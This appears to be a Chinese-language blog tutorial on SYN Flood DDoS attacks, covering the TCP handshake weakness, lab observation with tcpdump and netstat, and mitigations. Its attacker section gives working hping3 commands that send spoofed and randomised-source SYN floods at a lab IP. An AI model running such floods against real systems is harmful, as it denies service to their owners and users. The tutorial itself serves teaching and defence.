DDOS 【SYN Flood】攻击类型原理分析

29 阅读2分钟

简介

SYN Flood是最经典的DDoS(Distributed Denial of Service)攻击之一。它利用了TCP协议的三次握手机制,攻击者通常向服务器发送海量的TCP SYN报文服务器响应了这些报文后就会生成大量的半连接(SYN-RCVD),当系统资源被耗尽后,服务器将无法提供正常的服务。 image.png

攻击端

安装hping3发包工具

yum -y install hping3

发送一个SYN FLOOD攻击报文

  • -c 指定发包个数
  • --sync 指定SYN标志
  • -a 指定虚假源IP地址
  • -p 指定目的端口

hping3 -c 1 --syn -a 8.82.67.15 -p 22 192.168.11.89

发送海量SYN FLOOD攻击报文

  • --flood 指定尽可能快的发送报文
  • --sync 指定SYN标志
  • --rand-source 指定源IP地址随机
  • -p 指定目的端口

hping3 --flood --syn --rand-source -p 22 192.168.11.89

服务端

安装netstat连接查看工具

yum -y install net-tools

安装tcpdump抓包工具

yum -y install tcpdump

回复SYN ACK报文分析

  • 客户端发送SYN报文。
  • 服务端在收到客户端SYN报文后,回应SYN ACK报文。
  • 服务端未收到客户端的ACK报文(因为是虚假源)。
  • 服务端重传SYN ACK报文(/proc/sys/net/ipv4/tcp_synack_retries默认为5)。

tcpdump -i ens192 -envvv host 8.82.67.15 -w synflood.pcap

image.png

连接状态分析

  • 通过netstat查看连接信息
  • 发现有大量的连接(SYN_RECV状态)
  • 服务端资源占用增高,新连接建立失败,运行卡顿等

image.png

总结

  • 攻击构造简单,向服务器开放的TCP端口发送SYN报文即可。
  • 攻击效果明显,利用TCP建立连接的标准过程,可轻易打满服务端半连接表。
  • 攻击防护手段有源认证和首包丢弃。
    • 防护设备进行SYN ACK代理回复,如果客户端不应答,则认为是虚假源。
    • 防护设备进行SYN首包丢弃,如果客户端没有重传SYN,则认为是虚假源。